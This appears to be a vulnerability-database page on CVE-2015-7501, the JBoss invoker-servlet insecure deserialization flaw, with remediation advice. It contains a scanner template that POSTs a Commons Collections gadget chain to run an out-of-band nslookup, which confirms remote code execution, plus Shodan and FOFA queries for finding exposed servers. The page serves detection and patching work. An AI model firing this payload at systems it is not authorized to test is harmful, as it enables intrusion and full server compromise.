Red Hat JBoss - Insecure Deserialization
CVE-2015-7501
Early Release
Description
Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
Severity
Critical
CVSS Score
9.8
Exploit Probability
83%
Affected Product
jboss_enterprise_application_platform
Published Date
August 17, 2026
Template Author
pdteam, dhiyaneshdk
CVE-2015-7501.yaml
id: CVE-2015-7501
info:
name: Red Hat JBoss - Insecure Deserialization
author: pdteam,DhiyaneshDk
severity: critical
description: |
Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.
impact: |
Unauthenticated remote code execution with JBoss service account privileges. Full system compromise possible including file access, credential theft, and lateral movement. Actively exploited by threat actors targeting legacy JBoss deployments.
remediation: |
Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-7501
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822
- https://github.com/ianxtianxt/CVE-2015-7501
- https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCE
- https://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-7501
cwe-id: CWE-502
epss-score: 0.83274
epss-percentile: 0.99654
metadata:
verified: true
max-request: 7
vendor: redhat
product: jboss_enterprise_application_platform
shodan-query: http.html:"/jmx-console/" http.title:JBoss
fofa-query: 'title="JBoss" && body="/jmx-console/"'
tags: cve2015,cve,jboss,rce,deserialization,java,vulhub,redhat,oast,intrusive,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/jmx-console/"
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(body), "jboss", "jmx agent", "jmx-console", "j_security_check", "jboss.system", "jboss.deployment")'
internal: true
- raw:
- |
POST §endpoint§ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-java-serialized-object
Accept: application/x-java-serialized-object
{{generate_java_gadget("commons-collections3.1", "nslookup {{interactsh-url}}", "raw")}}
attack: clusterbomb
payloads:
endpoint:
- /invoker/JMXInvokerServlet
- /invoker/EJBInvokerServlet
- /invoker/readonly
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: dsl
dsl:
- 'contains_any(tolower(body), "classcastexception","jboss")'
# digest: 4a0a0047304502203016fb5d2625c1fb09a4cd4a03123ec068d6c8d61a4b7714fb4a8d1bed1f2ff3022100f0120b3054a29576e25aca1f9f8aa0847449915769b3fcde505630e0d258fe3d:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2015-7501
CWE ID:
cwe-502
References
https://nvd.nist.gov/vuln/detail/CVE-2015-7501https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://access.redhat.com/security/vulnerabilities/986a8488-052e-46d1-8ede-c55cbfceb822https://github.com/ianxtianxt/CVE-2015-7501https://github.com/jas502n/Jboss_JMXInvokerServlet_Deserialization_RCEhttps://www.blackduck.com/blog/mitigate-java-deserialization-vulnerability-jboss.html
Remediation Steps
Apply Red Hat Security Advisory RHSA-2015:2538. Upgrade to JBoss EAP 7.x which removes the affected invoker servlets. Restrict access to /invoker/* endpoints via jboss-web.xml security constraints. Update Apache Commons Collections to version 3.2.2 or 4.1 or later.